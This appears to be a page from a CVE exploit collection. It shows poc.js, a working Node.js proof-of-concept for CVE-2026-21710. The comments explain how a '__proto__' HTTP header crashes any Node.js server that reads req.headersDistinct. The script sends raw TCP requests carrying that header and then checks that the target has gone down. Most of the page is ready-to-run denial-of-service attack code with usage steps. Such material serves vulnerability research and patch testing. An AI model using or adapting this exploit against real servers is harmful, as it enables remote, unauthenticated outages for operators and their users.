5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.js JS
/**
 * CVE-2026-21710 — Proof of Concept
 *
 * Sends a raw HTTP/1.1 request with a `__proto__` header to crash any Node.js
 * HTTP server that accesses req.headersDistinct.
 *
 * Root cause:
 *   In the headersDistinct getter the implementation builds a plain object
 *   (`dest = {}`) and accumulates header values:
 *
 *     dest[name] = dest[name] || [];
 *     dest[name].push(value);
 *
 *   When `name` is "__proto__", `dest["__proto__"]` does NOT return undefined —
 *   it returns Object.prototype (a plain object, not an Array).  The truthiness
 *   check therefore skips initialisation, and `.push(value)` is called on
 *   Object.prototype, which throws:
 *
 *     TypeError: dest[name].push is not a function
 *
 *   Because this is raised synchronously inside a getter, it propagates up
 *   through the http.Server internal machinery without hitting `error` event
 *   listeners, resulting in an uncaughtException that terminates the process
 *   (unless a top-level uncaughtException handler is present).
 *
 * Impact: Remote, unauthenticated, zero-interaction DoS (CVSS 7.5 HIGH)
 *
 * Usage:
 *   1. node server.js       (in one terminal)
 *   2. node poc.js          (in another terminal)
 *
 * Expected outcome: server.js crashes with an uncaught TypeError.
 */

'use strict';

const net = require('net');

const TARGET_HOST = '127.0.0.1';
const TARGET_PORT = 3000;

// ---- Step 1: send a benign request to confirm the server is up ----------- //
function sendRequest(headers, label) {
  return new Promise((resolve, reject) => {
    const client = net.createConnection({ host: TARGET_HOST, port: TARGET_PORT });

    client.on('connect', () => {
      const raw =
        `GET / HTTP/1.1\r\n` +
        `Host: ${TARGET_HOST}\r\n` +
        headers.map(([k, v]) => `${k}: ${v}`).join('\r\n') +
        `\r\nConnection: close\r\n` +
        `\r\n`;

      console.log(`\n[>] Sending ${label}:\n${raw.trimEnd()}\n`);
      client.write(raw);
    });

    const chunks = [];
    client.on('data', (d) => chunks.push(d));

    client.on('end', () => {
      const response = Buffer.concat(chunks).toString();
      console.log(`[<] Response for ${label}:\n${response}`);
      resolve(response);
    });

    client.on('error', (err) => {
      // Expected for the malicious request — server may close abruptly
      if (err.code === 'ECONNRESET' || err.code === 'EPIPE') {
        console.log(`[!] ${label}: connection reset (server likely crashed)`);
        resolve(null);
      } else {
        reject(err);
      }
    });

    // Give the server 3 s to respond
    client.setTimeout(3000, () => {
      console.log(`[!] ${label}: timeout`);
      client.destroy();
      resolve(null);
    });
  });
}

(async () => {
  console.log('=== CVE-2026-21710 Proof of Concept ===\n');

  // ---- Baseline: normal request ----------------------------------------- //
  console.log('[*] Step 1 — baseline (normal request, server should respond 200)');
  await sendRequest([['X-Safe', 'value']], 'Normal request');

  // Give the server a moment to recover log output
  await new Promise((r) => setTimeout(r, 500));

  // ---- Exploit: __proto__ header ---------------------------------------- //
  console.log('[*] Step 2 — exploit (sending __proto__ header)');
  await sendRequest([['__proto__', 'CVE-2026-21710']], 'Malicious request (__proto__ header)');

  await new Promise((r) => setTimeout(r, 500));

  // ---- Confirm crash: try to reach the server after the exploit ---------- //
  console.log('[*] Step 3 — confirm crash (server should be unreachable now)');
  await sendRequest([['X-Safe', 'post-exploit']], 'Post-exploit check');

  console.log('\n[*] Done. If Step 3 shows a connection error, the server crashed.');
})();